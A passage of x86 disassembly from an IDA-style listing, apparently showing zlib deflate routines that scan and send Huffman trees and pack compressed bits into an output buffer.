		lea	ecx, [ebx+ecx*4]
		movzx	esi, word ptr [ecx+2]
		cmp	esi, [ebp+var_4]
		jz	short loc_411B76
		mov	edi, [ebp+var_4]
		sub	edi, esi
		movzx	esi, word ptr [ecx]
		imul	edi, esi
		mov	si, word ptr [ebp+var_4]
		add	[edx+16A8h], edi
		mov	[ecx+2], si


loc_411B76:				; CODE XREF: sub_4119D7+184j
		dec	[ebp+var_10]
		mov	esi, [ebp+var_28]


loc_411B7C:				; CODE XREF: sub_4119D7+178j
		cmp	[ebp+var_10], 0
		jnz	short loc_411B43


loc_411B82:				; CODE XREF: sub_4119D7+163j
		dec	[ebp+var_4]
		sub	[ebp+var_C], 2
		cmp	[ebp+var_4], 0
		jnz	short loc_411B2F


loc_411B8F:				; CODE XREF: sub_4119D7+105j
					; sub_4119D7+153j
		pop	esi


loc_411B90:				; CODE XREF: sub_4119D7+5Aj
		pop	edi
		pop	ebx
		leave
		retn
sub_4119D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B94	proc near		; CODE XREF: sub_412B0A+10p
					; sub_412B0A+22p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		or	[ebp+var_8], 0FFFFFFFFh
		push	ebx
		push	esi
		push	edi
		push	7
		mov	esi, ecx
		movzx	ecx, word ptr [eax+2]
		pop	edx
		xor	ebx, ebx
		test	ecx, ecx
		push	4
		pop	edi
		jnz	short loc_411BBA
		push	3
		mov	edx, 8Ah
		pop	edi


loc_411BBA:				; CODE XREF: sub_411B94+1Cj
		or	word ptr [eax+esi*4+6],	0FFFFh
		test	esi, esi
		jl	loc_411C4B
		add	eax, 6
		mov	[ebp+var_4], eax
		inc	esi


loc_411BD0:				; CODE XREF: sub_411B94+B5j
		mov	eax, ecx
		mov	ecx, [ebp+var_4]
		movzx	ecx, word ptr [ecx]
		inc	ebx
		cmp	ebx, edx
		jge	short loc_411BE1
		cmp	eax, ecx
		jz	short loc_411C44


loc_411BE1:				; CODE XREF: sub_411B94+47j
		cmp	ebx, edi
		mov	edx, [ebp+arg_0]
		jge	short loc_411BF4
		lea	edx, [edx+eax*4+0A7Ch]
		add	[edx], bx
		jmp	short loc_411C23
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_411B94+52j
		test	eax, eax
		jz	short loc_411C0E
		cmp	eax, [ebp+var_8]
		jz	short loc_411C05
		inc	word ptr [edx+eax*4+0A7Ch]


loc_411C05:				; CODE XREF: sub_411B94+67j
		inc	word ptr [edx+0ABCh]
		jmp	short loc_411C23
; ---------------------------------------------------------------------------


loc_411C0E:				; CODE XREF: sub_411B94+62j
		cmp	ebx, 0Ah
		jg	short loc_411C1C
		inc	word ptr [edx+0AC0h]
		jmp	short loc_411C23
; ---------------------------------------------------------------------------


loc_411C1C:				; CODE XREF: sub_411B94+7Dj
		inc	word ptr [edx+0AC4h]


loc_411C23:				; CODE XREF: sub_411B94+5Ej
					; sub_411B94+78j ...
		xor	ebx, ebx
		test	ecx, ecx
		mov	[ebp+var_8], eax
		jnz	short loc_411C35
		mov	edx, 8Ah


loc_411C31:				; CODE XREF: sub_411B94+A8j
		push	3
		jmp	short loc_411C43
; ---------------------------------------------------------------------------


loc_411C35:				; CODE XREF: sub_411B94+96j
		cmp	eax, ecx
		jnz	short loc_411C3E
		push	6
		pop	edx
		jmp	short loc_411C31
; ---------------------------------------------------------------------------


loc_411C3E:				; CODE XREF: sub_411B94+A3j
		push	7
		pop	edx
		push	4


loc_411C43:				; CODE XREF: sub_411B94+9Fj
		pop	edi


loc_411C44:				; CODE XREF: sub_411B94+4Bj
		add	[ebp+var_4], 4
		dec	esi
		jnz	short loc_411BD0


loc_411C4B:				; CODE XREF: sub_411B94+2Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C50	proc near		; CODE XREF: sub_4120EA+21Dp
					; sub_4120EA+22Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	[ebp+var_14], 0FFFFFFFFh
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+2]
		push	edi
		push	7
		mov	[ebp+var_8], esi
		pop	edi
		xor	esi, esi
		cmp	[ebp+var_8], esi
		push	4
		pop	ebx
		jnz	short loc_411C79
		push	3
		mov	edi, 8Ah
		pop	ebx


loc_411C79:				; CODE XREF: sub_411C50+1Fj
		test	edx, edx
		jl	loc_4120E5
		add	ecx, 6
		inc	edx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], edx


loc_411C8B:				; CODE XREF: sub_411C50+48Fj
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		mov	edx, [ebp+var_8]
		inc	esi
		cmp	esi, edi
		mov	[ebp+var_10], edx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], esi
		jge	short loc_411CAA
		cmp	edx, ecx
		jz	loc_4120D8


loc_411CAA:				; CODE XREF: sub_411C50+50j
		cmp	esi, ebx
		jge	loc_411D4F


loc_411CB2:				; CODE XREF: sub_411C50+F4j
		movzx	edi, word ptr [eax+edx*4+0A7Eh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		jle	short loc_411D20
		movzx	esi, word ptr [eax+edx*4+0A7Ch]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	edx, [ebp+var_10]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_411D3A
; ---------------------------------------------------------------------------


loc_411D20:				; CODE XREF: sub_411C50+77j
		mov	bx, [eax+edx*4+0A7Ch]
		shl	bx, cl
		mov	ecx, [eax+16BCh]
		or	[eax+16B8h], bx
		add	ecx, edi


loc_411D3A:				; CODE XREF: sub_411C50+CEj
		dec	esi
		mov	[eax+16BCh], ecx
		mov	[ebp+var_4], esi
		jnz	loc_411CB2
		jmp	loc_4120B5
; ---------------------------------------------------------------------------


loc_411D4F:				; CODE XREF: sub_411C50+5Cj
		test	edx, edx
		jz	loc_411EDA
		cmp	edx, [ebp+var_14]
		jz	loc_411DF2
		movzx	edi, word ptr [eax+edx*4+0A7Eh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		jle	short loc_411DCE
		movzx	esi, word ptr [eax+edx*4+0A7Ch]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	edx, [ebp+var_10]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_411DE8
; ---------------------------------------------------------------------------


loc_411DCE:				; CODE XREF: sub_411C50+125j
		mov	bx, [eax+edx*4+0A7Ch]
		shl	bx, cl
		mov	ecx, [eax+16BCh]
		or	[eax+16B8h], bx
		add	ecx, edi


loc_411DE8:				; CODE XREF: sub_411C50+17Cj
		dec	esi
		mov	[eax+16BCh], ecx
		mov	[ebp+var_4], esi


loc_411DF2:				; CODE XREF: sub_411C50+10Aj
		movzx	edi, word ptr [eax+0ABEh]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_411E61
		movzx	esi, word ptr [eax+0ABCh]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_411E77
; ---------------------------------------------------------------------------


loc_411E61:				; CODE XREF: sub_411C50+1B9j
		mov	di, [eax+0ABCh]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_411E77:				; CODE XREF: sub_411C50+20Fj
		add	esi, 0FFFFFFFDh
		cmp	ecx, 0Eh
		mov	[eax+16BCh], ecx
		jle	short loc_411EC9
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF2h
		jmp	loc_412094
; ---------------------------------------------------------------------------


loc_411EC9:				; CODE XREF: sub_411C50+233j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 2
		jmp	loc_4120AF
; ---------------------------------------------------------------------------


loc_411EDA:				; CODE XREF: sub_411C50+101j
		cmp	esi, 0Ah
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		jg	loc_411FCB
		movzx	edi, word ptr [eax+0AC2h]
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_411F52
		movzx	esi, word ptr [eax+0AC0h]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_411F68
; ---------------------------------------------------------------------------


loc_411F52:				; CODE XREF: sub_411C50+2AAj
		mov	di, [eax+0AC0h]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_411F68:				; CODE XREF: sub_411C50+300j
		add	esi, 0FFFFFFFDh
		cmp	ecx, 0Dh
		mov	[eax+16BCh], ecx
		jle	short loc_411FBA
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF3h
		jmp	loc_412094
; ---------------------------------------------------------------------------


loc_411FBA:				; CODE XREF: sub_411C50+324j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 3
		jmp	loc_4120AF
; ---------------------------------------------------------------------------


loc_411FCB:				; CODE XREF: sub_411C50+296j
		movzx	edi, word ptr [eax+0AC6h]
		sub	ebx, edi
		cmp	ecx, ebx
		mov	[ebp+var_10], edi
		jle	short loc_412031
		movzx	esi, word ptr [eax+0AC4h]
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		mov	ecx, [ebp+var_10]
		lea	ecx, [ebx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_412047
; ---------------------------------------------------------------------------


loc_412031:				; CODE XREF: sub_411C50+389j
		mov	di, [eax+0AC4h]
		shl	di, cl
		or	[eax+16B8h], di
		mov	edi, [ebp+var_10]
		add	ecx, edi


loc_412047:				; CODE XREF: sub_411C50+3DFj
		add	esi, 0FFFFFFF5h
		cmp	ecx, 9
		mov	[eax+16BCh], ecx
		jle	short loc_4120A3
		mov	edi, esi
		shl	edi, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], di
		mov	edi, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [eax+14h]
		mov	edi, [eax+14h]
		mov	ecx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[edi+ecx], bl
		mov	ebx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	si, cl
		add	ebx, 0FFFFFFF7h


loc_412094:				; CODE XREF: sub_411C50+274j
					; sub_411C50+365j
		mov	[eax+16B8h], si
		mov	[eax+16BCh], ebx
		jmp	short loc_4120B5
; ---------------------------------------------------------------------------


loc_4120A3:				; CODE XREF: sub_411C50+403j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, 7


loc_4120AF:				; CODE XREF: sub_411C50+285j
					; sub_411C50+376j
		mov	[eax+16BCh], ecx


loc_4120B5:				; CODE XREF: sub_411C50+FAj
					; sub_411C50+451j
		xor	esi, esi
		cmp	[ebp+var_8], esi
		mov	[ebp+var_14], edx
		jnz	short loc_4120C8
		mov	edi, 8Ah


loc_4120C4:				; CODE XREF: sub_411C50+480j
		push	3
		jmp	short loc_4120D7
; ---------------------------------------------------------------------------


loc_4120C8:				; CODE XREF: sub_411C50+46Dj
		cmp	edx, [ebp+var_8]
		jnz	short loc_4120D2
		push	6
		pop	edi
		jmp	short loc_4120C4
; ---------------------------------------------------------------------------


loc_4120D2:				; CODE XREF: sub_411C50+47Bj
		push	7
		pop	edi
		push	4


loc_4120D7:				; CODE XREF: sub_411C50+476j
		pop	ebx


loc_4120D8:				; CODE XREF: sub_411C50+54j
		add	[ebp+var_C], 4
		dec	[ebp+var_18]
		jnz	loc_411C8B


loc_4120E5:				; CODE XREF: sub_411C50+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120EA	proc near		; CODE XREF: sub_412DBD+129p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Bh
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		push	edi
		jle	short loc_412159
		mov	esi, [ebp+arg_0]
		add	esi, 0FFFFFEFFh
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_8]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF5h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412174
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_4120EA+13j
		mov	edx, [ebp+arg_0]
		add	edx, 0FFFFFEFFh
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 5
		mov	[eax+16BCh], ecx


loc_412174:				; CODE XREF: sub_4120EA+6Dj
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Bh
		jle	short loc_4121D7
		mov	esi, [ebp+arg_4]
		dec	esi
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		mov	[ebp+var_4], ebx
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+var_4]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF5h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_4121ED
; ---------------------------------------------------------------------------


loc_4121D7:				; CODE XREF: sub_4120EA+93j
		mov	edx, [ebp+arg_4]
		dec	edx
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 5
		mov	[eax+16BCh], ecx


loc_4121ED:				; CODE XREF: sub_4120EA+EBj
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Ch
		jle	short loc_41224F
		lea	esi, [ebx-4]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		mov	[ebp+var_4], ebx
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+var_4]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF4h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_412264
; ---------------------------------------------------------------------------


loc_41224F:				; CODE XREF: sub_4120EA+10Cj
		lea	edx, [ebx-4]
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 4
		mov	[eax+16BCh], ecx


loc_412264:				; CODE XREF: sub_4120EA+163j
		xor	edi, edi
		test	ebx, ebx
		jle	loc_4122FD


loc_41226E:				; CODE XREF: sub_4120EA+20Dj
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Dh
		movzx	edx, ds:byte_41F80C[edi]
		jle	short loc_4122D9
		movzx	esi, word ptr [eax+edx*4+0A7Eh]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+14h]
		or	[eax+16B8h], dx
		mov	bl, [eax+16B8h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_8]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		jmp	short loc_4122F4
; ---------------------------------------------------------------------------


loc_4122D9:				; CODE XREF: sub_4120EA+194j
		mov	dx, [eax+edx*4+0A7Eh]
		shl	dx, cl
		or	[eax+16B8h], dx
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_4122F4:				; CODE XREF: sub_4120EA+1EDj
		inc	edi
		cmp	edi, ebx
		jl	loc_41226E


loc_4122FD:				; CODE XREF: sub_4120EA+17Ej
		mov	edx, [ebp+arg_0]
		dec	edx
		lea	ecx, [eax+94h]
		call	sub_411C50
		mov	edx, [ebp+arg_4]
		dec	edx
		lea	ecx, [eax+988h]
		call	sub_411C50
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4120EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412320	proc near		; CODE XREF: sub_412DBD+13Ep
					; sub_412DBD+1C8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx
		cmp	[eax+16A0h], ecx
		push	esi
		push	edi
		jz	loc_412635


loc_41233A:				; CODE XREF: sub_412320+30Fj
		mov	edx, [eax+16A4h]
		movzx	edi, word ptr [edx+ecx*2]
		mov	edx, [eax+1698h]
		movzx	esi, byte ptr [ecx+edx]
		inc	ecx
		test	edi, edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], ecx
		push	10h
		jnz	short loc_4123D5
		mov	ecx, [eax+16BCh]
		lea	esi, [ebx+esi*4]
		movzx	edi, word ptr [esi+2]
		pop	edx
		sub	edx, edi
		cmp	ecx, edx
		jle	short loc_4123C1
		movzx	esi, word ptr [esi]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_0]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		lea	ecx, [edx+edi-10h]
		mov	[eax+16B8h], si
		jmp	loc_412620
; ---------------------------------------------------------------------------


loc_4123C1:				; CODE XREF: sub_412320+4Dj
		mov	dx, [esi]
		shl	dx, cl
		or	[eax+16B8h], dx
		add	ecx, edi
		jmp	loc_412620
; ---------------------------------------------------------------------------


loc_4123D5:				; CODE XREF: sub_412320+39j
		movzx	edx, ds:byte_41FFE0[esi]
		mov	ecx, edx
		shl	ecx, 2
		mov	[ebp+var_4], ecx
		movzx	ecx, word ptr [ecx+ebx+406h]
		pop	ebx
		sub	ebx, ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, ebx
		jle	short loc_412456
		mov	edi, [ebp+arg_0]
		movzx	edi, word ptr [edi+edx*4+404h]
		mov	edx, edi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	di, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], di
		mov	edi, [ebp+var_C]
		jmp	short loc_412470
; ---------------------------------------------------------------------------


loc_412456:				; CODE XREF: sub_412320+DAj
		mov	ebx, [ebp+arg_0]
		mov	dx, [ebx+edx*4+404h]
		shl	dx, cl
		or	[eax+16B8h], dx
		mov	edx, [ebp+var_8]
		add	ecx, edx


loc_412470:				; CODE XREF: sub_412320+134j
		mov	[eax+16BCh], ecx
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_41F798[ecx]
		test	edx, edx
		mov	[ebp+var_4], edx
		jz	short loc_4124F8
		sub	esi, ds:dword_4200E0[ecx]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	ebx
		sub	ebx, edx
		cmp	ecx, ebx
		jle	short loc_4124E7
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		jmp	short loc_4124F2
; ---------------------------------------------------------------------------


loc_4124E7:				; CODE XREF: sub_412320+179j
		shl	esi, cl
		or	[eax+16B8h], si
		add	ecx, edx


loc_4124F2:				; CODE XREF: sub_412320+1C5j
		mov	[eax+16BCh], ecx


loc_4124F8:				; CODE XREF: sub_412320+164j
		dec	edi
		cmp	edi, 100h
		jnb	short loc_41250A
		movzx	ecx, ds:byte_41FDE0[edi]
		jmp	short loc_412516
; ---------------------------------------------------------------------------


loc_41250A:				; CODE XREF: sub_412320+1DFj
		mov	ecx, edi
		shr	ecx, 7
		movzx	ecx, ds:byte_41FEE0[ecx]


loc_412516:				; CODE XREF: sub_412320+1E8j
		mov	esi, ecx
		mov	ecx, [ebp+arg_4]
		shl	esi, 2
		lea	edx, [esi+ecx]
		movzx	ecx, word ptr [edx+2]
		push	10h
		pop	ebx
		sub	ebx, ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [eax+16BCh]
		cmp	ecx, ebx
		mov	[ebp+var_4], esi
		jle	short loc_41258C
		movzx	esi, word ptr [edx]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	bl, [eax+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		mov	esi, [ebp+var_4]
		jmp	short loc_41259E
; ---------------------------------------------------------------------------


loc_41258C:				; CODE XREF: sub_412320+218j
		mov	dx, [edx]
		shl	dx, cl
		or	[eax+16B8h], dx
		mov	edx, [ebp+var_8]
		add	ecx, edx


loc_41259E:				; CODE XREF: sub_412320+26Aj
		mov	ebx, [ebp+arg_0]
		mov	[eax+16BCh], ecx
		mov	edx, ds:dword_41F820[esi]
		test	edx, edx
		mov	[ebp+var_4], edx
		jz	short loc_412626
		sub	edi, ds:dword_420158[esi]
		push	10h
		pop	esi
		sub	esi, edx
		cmp	ecx, esi
		jle	short loc_412615
		mov	edx, edi
		shl	edx, cl
		mov	ecx, [eax+8]
		mov	[ebp+var_C], ebx
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	dl, [eax+16B9h]
		mov	esi, [eax+14h]
		mov	ebx, [ebp+var_C]
		mov	[esi+ecx], dl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	di, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], di
		jmp	short loc_412620
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_412320+2A1j
		shl	edi, cl
		or	[eax+16B8h], di
		add	ecx, edx


loc_412620:				; CODE XREF: sub_412320+9Cj
					; sub_412320+B0j ...
		mov	[eax+16BCh], ecx


loc_412626:				; CODE XREF: sub_412320+292j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [eax+16A0h]
		jb	loc_41233A


loc_412635:				; CODE XREF: sub_412320+14j
		movzx	edx, word ptr [ebx+402h]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	esi
		sub	esi, edx
		cmp	ecx, esi
		mov	[ebp+arg_0], edx
		jle	short loc_4126A7
		movzx	esi, word ptr [ebx+400h]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		mov	[ebp+var_10], ebx
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	dl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	ebx, [ebp+var_10]
		mov	[edi+ecx], dl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+arg_0]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		jmp	short loc_4126BA
; ---------------------------------------------------------------------------


loc_4126A7:				; CODE XREF: sub_412320+32Cj
		mov	si, [ebx+400h]
		shl	si, cl
